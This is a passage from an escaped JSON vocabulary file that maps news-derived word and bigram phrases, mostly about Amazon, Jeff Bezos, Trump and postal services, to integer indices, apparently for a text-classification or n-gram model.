139119,\n  \"2019 households\": 139120,\n  \"resistance editors\": 139121,\n  \"frostlands\": 139122,\n  \"indiana rally\": 139123,\n  \"overly concerned\": 139124,\n  \"federal circuit\": 139125,\n  \"entrepreneur brent\": 139126,\n  \"hack attack\": 139127,\n  \"operation center\": 139128,\n  \"red\": 139129,\n  \"investigation know\": 139130,\n  \"amazon particularly\": 139131,\n  \"nick riccardi\": 139132,\n  \"monopolistic company\": 139133,\n  \"actress celebrity\": 139134,\n  \"exist romney\": 139135,\n  \"options bears\": 139136,\n  \"recently left\": 139137,\n  \"global management\": 139138,\n  \"racist merchandise\": 139139,\n  \"authorhash\": 139140,\n  \"worked mchugh\": 139141,\n  \"hnjrhzjkml\": 139142,\n  \"paper management\": 139143,\n  \"oral\": 139144,\n  \"bullhorns rupert\": 139145,\n  \"waard zijn\": 139146,\n  \"complete independence\": 139147,\n  \"similar statements\": 139148,\n  \"politicians blocking\": 139149,\n  \"hardcover\": 139150,\n  \"raise money\": 139151,\n  \"estate prices\": 139152,\n  \"pressure campaign\": 139153,\n  \"1995 respectively\": 139154,\n  \"candidate herman\": 139155,\n  \"seller hawking\": 139156,\n  \"weren impressed\": 139157,\n  \"news sarah\": 139158,\n  \"dialed\": 139159,\n  \"trailblazing career\": 139160,\n  \"news nydailynews\": 139161,\n  \"riordan\": 139162,\n  \"nyse xom\": 139163,\n  \"abc radio\": 139164,\n  \"knowingly falsely\": 139165,\n  \"year allowing\": 139166,\n  \"send postal\": 139167,\n  \"gives teachers\": 139168,\n  \"dc vertigo\": 139169,\n  \"ktumulty franco\": 139170,\n  \"anchor publishing\": 139171,\n  \"ice needs\": 139172,\n  \"long feud\": 139173,\n  \"sleeping giants\": 139174,\n  \"mid 20th\": 139175,\n  \"sonner nevada\": 139176,\n  \"2019 pro\": 139177,\n  \"scraping resistance\": 139178,\n  \"husband earlier\": 139179,\n  \"seattle giant\": 139180,\n  \"html daily\": 139181,\n  \"montana rally\": 139182,\n  \"esrx\": 139183,\n  \"je belastingaangifte\": 139184,\n  \"alphastreet useful\": 139185,\n  \"personal bias\": 139186,\n  \"pushing big\": 139187,\n  \"gained control\": 139188,\n  \"apprehensive\": 139189,\n  \"suntrust robinson\": 139190,\n  \"large lapd\": 139191,\n  \"jr babis\": 139192,\n  \"did speak\": 139193,\n  \"poor ones\": 139194,\n  \"faang decoupling\": 139195,\n  \"exchanged twitter\": 139196,\n  \"sectors going\": 139197,\n  \"exoneration\": 139198,\n  \"accumulated 252\": 139199,\n  \"runs data\": 139200,\n  \"saw trump\": 139201,\n  \"session president\": 139202,\n  \"airbus says\": 139203,\n  \"swiftly forcing\": 139204,\n  \"amazon stunned\": 139205,\n  \"experiences women\": 139206,\n  \"family centers\": 139207,\n  \"merchandise add\": 139208,\n  \"istock\": 139209,\n  \"president looking\": 139210,\n  \"tests known\": 139211,\n  \"certain companies\": 139212,\n  \"theprofessionals\": 139213,\n  \"new safeguards\": 139214,\n  \"needs deep\": 139215,\n  \"unmanned trucks\": 139216,\n  \"limited exclusion\": 139217,\n  \"annual salary\": 139218,\n  \"midas\": 139219,\n  \"florida va\": 139220,\n  \"legitimacy hope\": 139221,\n  \"service cuts\": 139222,\n  \"faded\": 139223,\n  \"cnnvideoapiloadcompletehandlers push\": 139224,\n  \"van\": 139225,\n  \"buying opportunity\": 139226,\n  \"news added\": 139227,\n  \"maycay\": 139228,\n  \"city amid\": 139229,\n  \"massive story\": 139230,\n  \"paying hefty\": 139231,\n  \"diluted shares\": 139232,\n  \"chest pains\": 139233,\n  \"trend forming\": 139234,\n  \"drug\": 139235,\n  \"skyrocket\": 139236,\n  \"pilot shooting\": 139237,\n  \"merchant online\": 139238,\n  \"origin self\": 139239,\n  \"hiking boots\": 139240,\n  \"abusing antitrust\": 139241,\n  \"737f\": 139242,\n  \"cashiers spencer\": 139243,\n  \"workers donald\": 139244,\n  \"melina mara\": 139245,\n  \"korean guides\": 139246,\n  \"amazon ought\": 139247,\n  \"royal london\": 139248,\n  \"includes police\": 139249,\n  \"mac songs\": 139250,\n  \"relief reveals\": 139251,\n  \"policy following\": 139252,\n  \"amazon shopping\": 139253,\n  \"lot lobbying\": 139254,\n  \"percentile tells\": 139255,\n  \"says high\": 139256,\n  \"6th district\": 139257,\n  \"independent filmmakers\": 139258,\n  \"spats going\": 139259,\n  \"overstated trade\": 139260,\n  \"hunger 2018\": 139261,\n  \"today wished\": 139262,\n  \"state john\": 139263,\n  \"1994 billionaires\": 139264,\n  \"528\": 139265,\n  \"specifically calling\": 139266,\n  \"republican agrees\": 139267,\n  \"pile inside\": 139268,\n  \"customized vans\": 139269,\n  \"concerns 1531928062\": 139270,\n  \"love 2018\": 139271,\n  \"thoroughly analyze\": 139272,\n  \"mountain rooting\": 139273,\n  \"gma\": 139274,\n  \"source handout\": 139275,\n  \"people ability\": 139276,\n  \"product design\": 139277,\n  \"classified republican\": 139278,\n  \"billion 96b\": 139279,\n  \"unh dow\": 139280,\n  \"amazon behalf\": 139281,\n  \"delegitimize cnn\": 139282,\n  \"george pimentel\": 139283,\n  \"bertoux\": 139284,\n  \"mum happy\": 139285,\n  \"walmart pork\": 139286,\n  \"nov 2014\": 139287,\n  \"charlotte mecklenburg\": 139288,\n  \"warfare bezos\": 139289,\n  \"different opinions\": 139290,\n  \"ogilvie transportation\": 139291,\n  \"autopsy\": 139292,\n  \"making material\": 139293,\n  \"immigration advisory\": 139294,\n  \"stock drops\": 139295,\n  \"speculative\": 139296,\n  \"lives does\": 139297,\n  \"equality index\": 139298,\n  \"headquartersin new\": 139299,\n  \"security threats\": 139300,\n  \"students vegetable\": 139301,\n  \"sources chatham\": 139302,\n  \"reassessments\": 139303,\n  \"simple time\": 139304,\n  \"bell bloomberg\": 139305,\n  \"chinese obviously\": 139306,\n  \"new music\": 139307,\n  \"______ manohla\": 139308,\n  \"jack hock\": 139309,\n  \"2001 terrorist\": 139310,\n  \"language increasingly\": 139311,\n  \"s9x c0\": 139312,\n  \"damon christian\": 139313,\n  \"denning point\": 139314,\n  \"rigorous\": 139315,\n  \"mills ahead\": 139316,\n  \"famously reformed\": 139317,\n  \"practical guide\": 139318,\n  \"package delivered\": 139319,\n  \"2013 sat\": 139320,\n  \"engagement think\": 139321,\n  \"trumpdate yesterday\": 139322,\n  \"coke fortune\": 139323,\n  \"pose health\": 139324,\n  \"increase lending\": 139325,\n  \"advice 2019\": 139326,\n  \"sanchez began\": 139327,\n  \"panel tells\": 139328,\n  \"shipping pilots\": 139329,\n  \"hoobraj report\": 139330,\n  \"million irises\": 139331,\n  \"pot nonstick\": 139332,\n  \"shops just\": 139333,\n  \"mizuho lowers\": 139334,\n  \"urging federal\": 139335,\n  \"finance ohanian\": 139336,\n  \"massive wads\": 139337,\n  \"entertaining perspective\": 139338,\n  \"princesses save\": 139339,\n  \"titled message\": 139340,\n  \"man today\": 139341,\n  \"assessment disagree\": 139342,\n  \"ko saw\": 139343,\n  \"0305\": 139344,\n  \"waiting uber\": 139345,\n  \"longer knew\": 139346,\n  \"ooo\": 139347,\n  \"knee\": 139348,\n  \"securing government\": 139349,\n  \"shark rich\": 139350,\n  \"despite south\": 139351,\n  \"degrees accordingly\": 139352,\n  \"microsoft staff\": 139353,\n  \"worth 140bn\": 139354,\n  \"mug\": 139355,\n  \"destined\": 139356,\n  \"suburb 2018\": 139357,\n  \"amazon lot\": 139358,\n  \"alger rags\": 139359,\n  \"reunion\": 139360,\n  \"thiel competition\": 139361,\n  \"hardly needed\": 139362,\n  \"effectiveness advanced\": 139363,\n  \"collect payments\": 139364,\n  \"corp tsxv\": 139365,\n  \"say pic\": 139366,\n  \"beijing technology\": 139367,\n  \"office cuny\": 139368,\n  \"expand theirinvestigation\": 139369,\n  \"stadium recommended\": 139370,\n  \"early newspapers\": 139371,\n  \"just temporary\": 139372,\n  \"000 new\": 139373,\n  \"performance offers\": 139374,\n  \"agency spokesman\": 139375,\n  \"pages looks\": 139376,\n  \"fryer\": 139377,\n  \"today expressing\": 139378,\n  \"mortgage borrowers\": 139379,\n  \"capital incorporated\": 139380,\n  \"dakota estimates\": 139381,\n  \"demands new\": 139382,\n  \"weekend roundup\": 139383,\n  \"capital gazett\": 139384,\n  \"fished\": 139385,\n  \"elevated valuation\": 139386,\n  \"guarantees indigenous\": 139387,\n  \"744\": 139388,\n  \"antitrust regulations\": 139389,\n  \"report pulls\": 139390,\n  \"liberal leadership\": 139391,\n  \"control feature\": 139392,\n  \"plan based\": 139393,\n  \"freuman native\": 139394,\n  \"fall elections\": 139395,\n  \"americans today\": 139396,\n  \"wage victory\": 139397,\n  \"collective excrement\": 139398,\n  \"harmless\": 139399,\n  \"good great\": 139400,\n  \"cut trees\": 139401,\n  \"splunk\": 139402,\n  \"boomed\": 139403,\n  \"consumers pay\": 139404,\n  \"cpg consumer\": 139405,\n  \"hairs\": 139406,\n  \"computing division\": 139407,\n  \"ma huateng\": 139408,\n  \"elks\": 139409,\n  \"morning david\": 139410,\n  \"chronological\": 139411,\n  \"presidential resignations\": 139412,\n  \"won cross\": 139413,\n  \"amazon revisits\": 139414,\n  \"stroup eater\": 139415,\n  \"threaten jobs\": 139416,\n  \"river surrounded\": 139417,\n  \"6000 2018\": 139418,\n  \"giant flipkart\": 139419,\n  \"certain media\": 139420,\n  \"inaccessible workplaces\": 139421,\n  \"wit\": 139422,\n  \"minister salles\": 139423,\n  \"truck driver\": 139424,\n  \"presorting meds\": 139425,\n  \"mail deliveries\": 139426,\n  \"trump amid\": 139427,\n  \"commentary president\": 139428,\n  \"mrc human\": 139429,\n  \"overpays\": 139430,\n  \"faced drumbeat\": 139431,\n  \"roughly doubled\": 139432,\n  \"company authorised\": 139433,\n  \"textbook says\": 139434,\n  \"written response\": 139435,\n  \"message implied\": 139436,\n  \"2018 start\": 139437,\n  \"rutherford\": 139438,\n  \"single minded\": 139439,\n  \"45bil\": 139440,\n  \"ring neighbors\": 139441,\n  \"vaccination conspiracies\": 139442,\n  \"ends warns\": 139443,\n  \"lambasts\": 139444,\n  \"best known\": 139445,\n  \"en masse\": 139446,\n  \"remains virtually\": 139447,\n  \"parsec\": 139448,\n  \"consumers predicted\": 139449,\n  \"ceremony win\": 139450,\n  \"obtained risque\": 139451,\n  \"good business\": 139452,\n  \"patriot act\": 139453,\n  \"nut\": 139454,\n  \"pires assistant\": 139455,\n  \"js gigya\": 139456,\n  \"national employment\": 139457,\n  \"wallace\": 139458,\n  \"potus\": 139459,\n  \"british reformation\": 139460,\n  \"commerce giants\": 139461,\n  \"clear images\": 139462,\n  \"worth shot\": 139463,\n  \"gain amazon\": 139464,\n  \"damaging reports\": 139465,\n  \"gold intraday\": 139466,\n  \"violent crime\": 139467,\n  \"por los\": 139468,\n  \"continued reportage\": 139469,\n  \"bezos eye\": 139470,\n  \"water bezos\": 139471,\n  \"blocks stack\": 139472,\n  \"daughter leni\": 139473,\n  \"products business\": 139474,\n  \"says yes\": 139475,\n  \"tv channels\": 139476,\n  \"democratic socialist\": 139477,\n  \"depriving\": 139478,\n  \"block projects\": 139479,\n  \"star ratings\": 139480,\n  \"help chinese\": 139481,\n  \"national law\": 139482,\n  \"entire cube\": 139483,\n  \"demands caption\": 139484,\n  \"win nominations\": 139485,\n  \"fait\": 139486,\n  \"construct\": 139487,\n  \"normally celebrity\": 139488,\n  \"amazon struck\": 139489,\n  \"year netting\": 139490,\n  \"cap 2018\": 139491,\n  \"garry\": 139492,\n  \"kellys today\": 139493,\n  \"subpar wages\": 139494,\n  \"taken specific\": 139495,\n  \"sought\": 139496,\n  \"knockoff\": 139497,\n  \"schools special\": 139498,\n  \"reported luxembourg\": 139499,\n  \"giving money\": 139500,\n  \"elite mall\": 139501,\n  \"lena dunham\": 139502,\n  \"fresh\": 139503,\n  \"bump\": 139504,\n  \"wong amazon\": 139505,\n  \"impressive retailer\": 139506,\n  \"companies sells\": 139507,\n  \"nato trade\": 139508,\n  \"justice veteran\": 139509,\n  \"reserve roastery\": 139510,\n  \"higher mortgage\": 139511,\n  \"dinegar\": 139512,\n  \"best idea\": 139513,\n  \"dawsey trump\": 139514,\n  \"initial texts\": 139515,\n  \"printed handgun\": 139516,\n  \"pending legislation\": 139517,\n  \"worse amazon\": 139518,\n  \"president wasn\": 139519,\n  \"chan robert\": 139520,\n  \"deckers stock\": 139521,\n  \"setting new\": 139522,\n  \"tendencies\": 139523,\n  \"advisory news\": 139524,\n  \"aws read\": 139525,\n  \"brief note\": 139526,\n  \"professors\": 139527,\n  \"300 month\": 139528,\n  \"conservative fair\": 139529,\n  \"blowing 134\": 139530,\n  \"says baby\": 139531,\n  \"weather grammys\": 139532,\n  \"hardly supermarket\": 139533,\n  \"ended q4\": 139534,\n  \"lot stephanopoulos\": 139535,\n  \"pet insurance\": 139536,\n  \"dodge hostile\": 139537,\n  \"zignal\": 139538,\n  \"island city\": 139539,\n  \"unnecessarily specific\": 139540,\n  \"explore strategic\": 139541,\n  \"sotu deal\": 139542,\n  \"collect money\": 139543,\n  \"frustrated youth\": 139544,\n  \"federal crimes\": 139545,\n  \"suggests bezos\": 139546,\n  \"trims\": 139547,\n  \"recently emerged\": 139548,\n  \"politico natasha\": 139549,\n  \"cigarette startup\": 139550,\n  \"korea kospi\": 139551,\n  \"don told\": 139552,\n  \"cbs afghanistan\": 139553,\n  \"report review\": 139554,\n  \"pitches\": 139555,\n  \"detect cancer\": 139556,\n  \"developing deep\": 139557,\n  \"epettersson\": 139558,\n  \"shirt sold\": 139559,\n  \"californians buy\": 139560,\n  \"award contract\": 139561,\n  \"clayton\": 139562,\n  \"spellings\": 139563,\n  \"amazon scamming\": 139564,\n  \"cuomo new\": 139565,\n  \"dialogue instead\": 139566,\n  \"day original\": 139567,\n  \"rising marketplace\": 139568,\n  \"inc_meta_keywords\": 139569,\n  \"better timed\": 139570,\n  \"volunteered did\": 139571,\n  \"detailed conversation\": 139572,\n  \"tester pushes\": 139573,\n  \"chanted anti\": 139574,\n  \"hates president\": 139575,\n  \"old named\": 139576,\n  \"amazon sees\": 139577,\n  \"usps commission\": 139578,\n  \"blinded\": 139579,\n  \"trump accusations\": 139580,\n  \"frank health\": 139581,\n  \"building 150\": 139582,\n  \"northfield executive\": 139583,\n  \"liked institution\": 139584,\n  \"street huckster\": 139585,\n  \"downstairs shipment\": 139586,\n  \"photos include\": 139587,\n  \"trade lebanese\": 139588,\n  \"enquirer love\": 139589,\n  \"complex variations\": 139590,\n  \"turn rainforests\": 139591,\n  \"anytime\": 139592,\n  \"antagonist michael\": 139593,\n  \"lamp\": 139594,\n  \"city andyou\": 139595,\n  \"stores plus\": 139596,\n  \"publish numerous\": 139597,\n  \"rental market\": 139598,\n  \"canisters\": 139599,\n  \"bills passed\": 139600,\n  \"policed environment\": 139601,\n  \"ar publix\": 139602,\n  \"influence efforts\": 139603,\n  \"night look\": 139604,\n  \"vaccine safety\": 139605,\n  \"pets nearly\": 139606,\n  \"sky using\": 139607,\n  \"booking photos\": 139608,\n  \"received billion\": 139609,\n  \"journal ge\": 139610,\n  \"2023 parcel\": 139611,\n  \"businesses trying\": 139612,\n  \"nationale\": 139613,\n  \"agency essentially\": 139614,\n  \"best analysts\": 139615,\n  \"valuation mark\": 139616,\n  \"correspondents read\": 139617,\n  \"morgan think\": 139618,\n  \"inbev conglomerate\": 139619,\n  \"announced recently\": 139620,\n  \"services usps\": 139621,\n  \"public goods\": 139622,\n  \"wildfire pets\": 139623,\n  \"second area\": 139624,\n  \"disguising oneself\": 139625,\n  \"develop innovative\": 139626,\n  \"crony contracts\": 139627,\n  \"reported private\": 139628,\n  \"francisco kron\": 139629,\n  \"jeffries just\": 139630,\n  \"article lucky\": 139631,\n  \"evicted abruptly\": 139632,\n  \"usatoda saudi\": 139633,\n  \"yang norton\": 139634,\n  \"amazon test\": 139635,\n  \"cloud companies\": 139636,\n  \"officially open\": 139637,\n  \"cathy muller\": 139638,\n  \"selyukh thank\": 139639,\n  \"america asia\": 139640,\n  \"skirts paying\": 139641,\n  \"yorker business\": 139642,\n  \"centimeter\": 139643,\n  \"trump india\": 139644,\n  \"police suspects\": 139645,\n  \"channelhash\": 139646,\n  \"regulator\": 139647,\n  \"agreement expired\": 139648,\n  \"soverly\": 139649,\n  \"northeastern bartiromo\": 139650,\n  \"new nassau\": 139651,\n  \"sexual scandal\": 139652,\n  \"audible twitch\": 139653,\n  \"office provisionally\": 139654,\n  \"service profitable\": 139655,\n  \"cowan\": 139656,\n  \"nina\": 139657,\n  \"deal uncertainties\": 139658,\n  \"rothschild\": 139659,\n  \"wages launched\": 139660,\n  \"company produced\": 139661,\n  \"enquirer better\": 139662,\n  \"single crony\": 139663,\n  \"4gb ram\": 139664,\n  \"weather local\": 139665,\n  \"masses complaints\": 139666,\n  \"right trades\": 139667,\n  \"later dispute\": 139668,\n  \"marks nature\": 139669,\n  \"imaginative debut\": 139670,\n  \"strategy ahead\": 139671,\n  \"twisted characters\": 139672,\n  \"exerted\": 139673,\n  \"jeff remains\": 139674,\n  \"axelrod\": 139675,\n  \"pause forget\": 139676,\n  \"care burden\": 139677,\n  \"commodity\": 139678,\n  \"plan hatched\": 139679,\n  \"bezos pointed\": 139680,\n  \"jurisdictional bidding\": 139681,\n  \"actually think\": 139682,\n  \"major deals\": 139683,\n  \"political makeup\": 139684,\n  \"victim article\": 139685,\n  \"obamacare\": 139686,\n  \"classified files\": 139687,\n  \"vile ms\": 139688,\n  \"problems things\": 139689,\n  \"subscription san\": 139690,\n  \"i8\": 139691,\n  \"time sitting\": 139692,\n  \"praised sinclair\": 139693,\n  \"sheryl\": 139694,\n  \"buy controlling\": 139695,\n  \"accused facebook\": 139696,\n  \"rout 2018\": 139697,\n  \"problem behaviors\": 139698,\n  \"v4e rebel\": 139699,\n  \"brokaw\": 139700,\n  \"chrome\": 139701,\n  \"threatened 2018\": 139702,\n  \"jason calacanis\": 139703,\n  \"cancels colombia\": 139704,\n  \"finalize changes\": 139705,\n  \"facts orwell\": 139706,\n  \"whoopi\": 139707,\n  \"mike krieger\": 139708,\n  \"race relations\": 139709,\n  \"colombia\": 139710,\n  \"chevy cruze\": 139711,\n  \"entering\": 139712,\n  \"black activists\": 139713,\n  \"wqiguvz0pa\": 139714,\n  \"operate business\": 139715,\n  \"income parents\": 139716,\n  \"excused\": 139717,\n  \"g4\": 139718,\n  \"story sara\": 139719,\n  \"rep don\": 139720,\n  \"jwestbrook1\": 139721,\n  \"dinging amazon\": 139722,\n  \"affects coverage\": 139723,\n  \"party marketplaces\": 139724,\n  \"patriarch fred\": 139725,\n  \"mcnamee\": 139726,\n  \"2017 tax\": 139727,\n  \"sellers\": 139728,\n  \"new game\": 139729,\n  \"commodities companies\": 139730,\n  \"investor famously\": 139731,\n  \"ami defense\": 139732,\n  \"euros 522\": 139733,\n  \"evan rich\": 139734,\n  \"subsidised postal\": 139735,\n  \"sending american\": 139736,\n  \"real signs\": 139737,\n  \"consultancy euromonitor\": 139738,\n  \"america video\": 139739,\n  \"blossom\": 139740,\n  \"liarsleakersliberals pic\": 139741,\n  \"netflix subscriptions\": 139742,\n  \"feel small\": 139743,\n  \"continue pressuring\": 139744,\n  \"payback\": 139745,\n  \"manufacturing jobs\": 139746,\n  \"archaic rules\": 139747,\n  \"trump castigations\": 139748,\n  \"giant killed\": 139749,\n  \"interference hoax\": 139750,\n  \"target trafficking\": 139751,\n  \"owner jeffbezos\": 139752,\n  \"department turn\": 139753,\n  \"cnbc coworking\": 139754,\n  \"inverted\": 139755,\n  \"tells reuters\": 139756,\n  \"org tags\": 139757,\n  \"positive reputations\": 139758,\n  \"follow joe\": 139759,\n  \"added advertising\": 139760,\n  \"charitable fund\": 139761,\n  \"pursues\": 139762,\n  \"president jair\": 139763,\n  \"cotillard\": 139764,\n  \"cuseum offers\": 139765,\n  \"stows\": 139766,\n  \"haystack\": 139767,\n  \"answer amazon\": 139768,\n  \"629\": 139769,\n  \"xml\": 139770,\n  \"kindle version\": 139771,\n  \"based telemark\": 139772,\n  \"flakedems\": 139773,\n  \"rose 112\": 139774,\n  \"yelled\": 139775,\n  \"muckerman huh\": 139776,\n  \"amzn time\": 139777,\n  \"warring\": 139778,\n  \"172\": 139779,\n  \"redefined antitrust\": 139780,\n  \"prevents double\": 139781,\n  \"judge travelpod\": 139782,\n  \"actions recommended\": 139783,\n  \"california based\": 139784,\n  \"grandmothers\": 139785,\n  \"ken marino\": 139786,\n  \"lucrative place\": 139787,\n  \"delivery services\": 139788,\n  \"contact apcustomersupport\": 139789,\n  \"mortgage bankers\": 139790,\n  \"recently wanted\": 139791,\n  \"advisory panel\": 139792,\n  \"enhanced set\": 139793,\n  \"gofundme page\": 139794,\n  \"larger corporation\": 139795,\n  \"broadcasting history\": 139796,\n  \"enterprise homeowners\": 139797,\n  \"new news\": 139798,\n  \"nerve center\": 139799,\n  \"source news\": 139800,\n  \"target ads\": 139801,\n  \"lee chang\": 139802,\n  \"gold standard\": 139803,\n  \"considerable scrutiny\": 139804,\n  \"different computers\": 139805,\n  \"congress amazon\": 139806,\n  \"cognisance\": 139807,\n  \"celebrity press\": 139808,\n  \"bull ecpect\": 139809,\n  \"integration drive\": 139810,\n  \"party expect\": 139811,\n  \"worth 155\": 139812,\n  \"partnership trade\": 139813,\n  \"currently weighing\": 139814,\n  \"ongoing battle\": 139815,\n  \"walmart purge\": 139816,\n  \"trump republican\": 139817,\n  \"enquirer reportedly\": 139818,\n  \"2018 fail\": 139819,\n  \"sourceamazon bloomberg\": 139820,\n  \"help negotiate\": 139821,\n  \"commission today\": 139822,\n  \"provided photos\": 139823,\n  \"empowering\": 139824,\n  \"1954 today\": 139825,\n  \"scenario sanchez\": 139826,\n  \"slightly lower\": 139827,\n  \"york thing\": 139828,\n  \"imminent retirement\": 139829,\n  \"basic hygiene\": 139830,\n  \"hurt lower\": 139831,\n  \"temporary halt\": 139832,\n  \"retirement just\": 139833,\n  \"buy decision\": 139834,\n  \"results reflect\": 139835,\n  \"400 heather\": 139836,\n  \"aires\": 139837,\n  \"vaunted\": 139838,\n  \"bring amazon\": 139839,\n  \"slate points\": 139840,\n  \"kristen welker\": 139841,\n  \"dodging retail\": 139842,\n  \"reportedly entered\": 139843,\n  \"planned talent\": 139844,\n  \"wheels\": 139845,\n  \"unchartered waters\": 139846,\n  \"stop caldwell\": 139847,\n  \"paint dystopian\": 139848,\n  \"interior spokeswoman\": 139849,\n  \"seeking higher\": 139850,\n  \"creates tense\": 139851,\n  \"economic conditions\": 139852,\n  \"force detainees\": 139853,\n  \"continuously discovered\": 139854,\n  \"notably facebook\": 139855,\n  \"story rod\": 139856,\n  \"2009 article\": 139857,\n  \"multiyear contract\": 139858,\n  \"largest technology\": 139859,\n  \"advice\": 139860,\n  \"applying common\": 139861,\n  \"633\": 139862,\n  \"want coming\": 139863,\n  \"wring\": 139864,\n  \"amazon nearly\": 139865,\n  \"logistics chain\": 139866,\n  \"ice history\": 139867,\n  \"remembrance day\": 139868,\n  \"led crackdown\": 139869,\n  \"natural resource\": 139870,\n  \"shocking msnbc\": 139871,\n  \"larson talks\": 139872,\n  \"supported streaming\": 139873,\n  \"modeling number\": 139874,\n  \"soller\": 139875,\n  \"harrison senior\": 139876,\n  \"solid benefits\": 139877,\n  \"extremely tense\": 139878,\n  \"perspectives rounded\": 139879,\n  \"interior officials\": 139880,\n  \"john cena\": 139881,\n  \"expectations foreign\": 139882,\n  \"cool trump\": 139883,\n  \"jenna fischer\": 139884,\n  \"coalition says\": 139885,\n  \"selling acne\": 139886,\n  \"prism\": 139887,\n  \"obama presidency\": 139888,\n  \"win vindicates\": 139889,\n  \"chinese investment\": 139890,\n  \"julie swetnick\": 139891,\n  \"p500 drops\": 139892,\n  \"giveth\": 139893,\n  \"field warren\": 139894,\n  \"narratives\": 139895,\n  \"shadowy afflictions\": 139896,\n  \"tell soccer\": 139897,\n  \"buying stampede\": 139898,\n  \"nick pyenson\": 139899,\n  \"surprise audience\": 139900,\n  \"square icons\": 139901,\n  \"discretionary\": 139902,\n  \"bret jaspers\": 139903,\n  \"risk liquidation\": 139904,\n  \"moscow trump\": 139905,\n  \"columnist reporter\": 139906,\n  \"m2x p0\": 139907,\n  \"ping pong\": 139908,\n  \"great social\": 139909,\n  \"press corps\": 139910,\n  \"protection big\": 139911,\n  \"ami american\": 139912,\n  \"2018q4 according\": 139913,\n  \"hollywood pumped\": 139914,\n  \"featuring jeff\": 139915,\n  \"entrepreneur ditched\": 139916,\n  \"forever stone\": 139917,\n  \"online following\": 139918,\n  \"reported 161\": 139919,\n  \"new petition\": 139920,\n  \"tv producer\": 139921,\n  \"stifling ohio\": 139922,\n  \"downward spiral\": 139923,\n  \"costly\": 139924,\n  \"house press\": 139925,\n  \"traditional media\": 139926,\n  \"director gregg\": 139927,\n  \"reuters massachusetts\": 139928,\n  \"big surprise\": 139929,\n  \"office fact\": 139930,\n  \"solving art\": 139931,\n  \"smithsonian books\": 139932,\n  \"change welfare\": 139933,\n  \"barrel options\": 139934,\n  \"deteriorated\": 139935,\n  \"coyne\": 139936,\n  \"listeners\": 139937,\n  \"trailhead pants\": 139938,\n  \"rrainey politico\": 139939,\n  \"assembly later\": 139940,\n  \"finance follow\": 139941,\n  \"cbs face\": 139942,\n  \"unique model\": 139943,\n  \"inside trump\": 139944,\n  \"retail 2018\": 139945,\n  \"liquid\": 139946,\n  \"west texas\": 139947,\n  \"790\": 139948,\n  \"best week\": 139949,\n  \"flex blocks\": 139950,\n  \"arnold schwarzenegger\": 139951,\n  \"possibly disloyal\": 139952,\n  \"south korean\": 139953,\n  \"nevada attorney\": 139954,\n  \"shippers warned\": 139955,\n  \"government lisa\": 139956,\n  \"intc reported\": 139957,\n  \"indicate ways\": 139958,\n  \"best performers\": 139959,\n  \"thinker\": 139960,\n  \"earning american\": 139961,\n  \"work takes\": 139962,\n  \"frequently complains\": 139963,\n  \"allow farmworkers\": 139964,\n  \"trump stress\": 139965,\n  \"described democratic\": 139966,\n  \"neel\": 139967,\n  \"1980s plus\": 139968,\n  \"helping turn\": 139969,\n  \"newsgathering howard\": 139970,\n  \"false promises\": 139971,\n  \"arms deal\": 139972,\n  \"dolan\": 139973,\n  \"fractured relationship\": 139974,\n  \"touch amazon\": 139975,\n  \"educations\": 139976,\n  \"construction site\": 139977,\n  \"sandbags\": 139978,\n  \"forrester research\": 139979,\n  \"city missouri\": 139980,\n  \"elevated thrillers\": 139981,\n  \"phil stand\": 139982,\n  \"win\": 139983,\n  \"sales tax\": 139984,\n  \"returns according\": 139985,\n  \"turn jackpot\": 139986,\n  \"refundable credits\": 139987,\n  \"prominent anti\": 139988,\n  \"john lewis\": 139989,\n  \"aesthetics\": 139990,\n  \"hola\": 139991,\n  \"customer paying\": 139992,\n  \"don lie\": 139993,\n  \"fi stated\": 139994,\n  \"city staff\": 139995,\n  \"bezos existed\": 139996,\n  \"morning trading\": 139997,\n  \"paycheck paycheck\": 139998,\n  \"stop question\": 139999,\n  \"assault following\": 140000,\n  \"foreign language\": 140001,\n  \"junta\": 140002,\n  \"line objective\": 140003,\n  \"cook brendan\": 140004,\n  \"pt governments\": 140005,\n  \"115 months\": 140006,\n  \"bury\": 140007,\n  \"originally created\": 140008,\n  \"0701et copyright\": 140009,\n  \"reverse decades\": 140010,\n  \"faster pace\": 140011,\n  \"deserves\": 140012,\n  \"gallu\": 140013,\n  \"competition used\": 140014,\n  \"given engineers\": 140015,\n  \"captures trumps\": 140016,\n  \"cnn lawsuit\": 140017,\n  \"executive bernie\": 140018,\n  \"tell apart\": 140019,\n  \"particular issue\": 140020,\n  \"253\": 140021,\n  \"rob stein\": 140022,\n  \"geng\": 140023,\n  \"extreme tactics\": 140024,\n  \"degrees fahrenheit\": 140025,\n  \"hiring thousands\": 140026,\n  \"filing lawsuit\": 140027,\n  \"emissions ceo\": 140028,\n  \"bench strength\": 140029,\n  \"linda sugin\": 140030,\n  \"fodder split\": 140031,\n  \"bowmer file\": 140032,\n  \"3614\": 140033,\n  \"stock gaining\": 140034,\n  \"apparent attempt\": 140035,\n  \"500 walmart\": 140036,\n  \"disciplined voters\": 140037,\n  \"ismobilebannertext\": 140038,\n  \"actively pursing\": 140039,\n  \"2020 seeking\": 140040,\n  \"kingdom kremer\": 140041,\n  \"matthew dalton\": 140042,\n  \"greatly positioned\": 140043,\n  \"usps regulatory\": 140044,\n  \"denver teachers\": 140045,\n  \"multiple applications\": 140046,\n  \"dental retirement\": 140047,\n  \"semblance\": 140048,\n  \"friede\": 140049,\n  \"reached trillion\": 140050,\n  \"origin story\": 140051,\n  \"monolithic power\": 140052,\n  \"falter\": 140053,\n  \"sent 305\": 140054,\n  \"piled\": 140055,\n  \"aides suggested\": 140056,\n  \"regulatory\": 140057,\n  \"axios don\": 140058,\n  \"including money\": 140059,\n  \"show__name showname\": 140060,\n  \"expecting faster\": 140061,\n  \"previously worked\": 140062,\n  \"women serving\": 140063,\n  \"aides plot\": 140064,\n  \"supported\": 140065,\n  \"cloud initiative\": 140066,\n  \"immediately set\": 140067,\n  \"fully explained\": 140068,\n  \"leanings bs_link\": 140069,\n  \"purchasing methods\": 140070,\n  \"headquarters geekwire\": 140071,\n  \"intercept\": 140072,\n  \"foods fatigue\": 140073,\n  \"moving significant\": 140074,\n  \"twitter user\": 140075,\n  \"told stahl\": 140076,\n  \"premieres snl\": 140077,\n  \"heavy hand\": 140078,\n  \"separate set\": 140079,\n  \"table mayukh\": 140080,\n  \"decoupling\": 140081,\n  \"awfulness\": 140082,\n  \"sector looks\": 140083,\n  \"watoday opinion\": 140084,\n  \"grade topics\": 140085,\n  \"start free\": 140086,\n  \"bullock talks\": 140087,\n  \"dp b7qmsx3wd\": 140088,\n  \"danner great\": 140089,\n  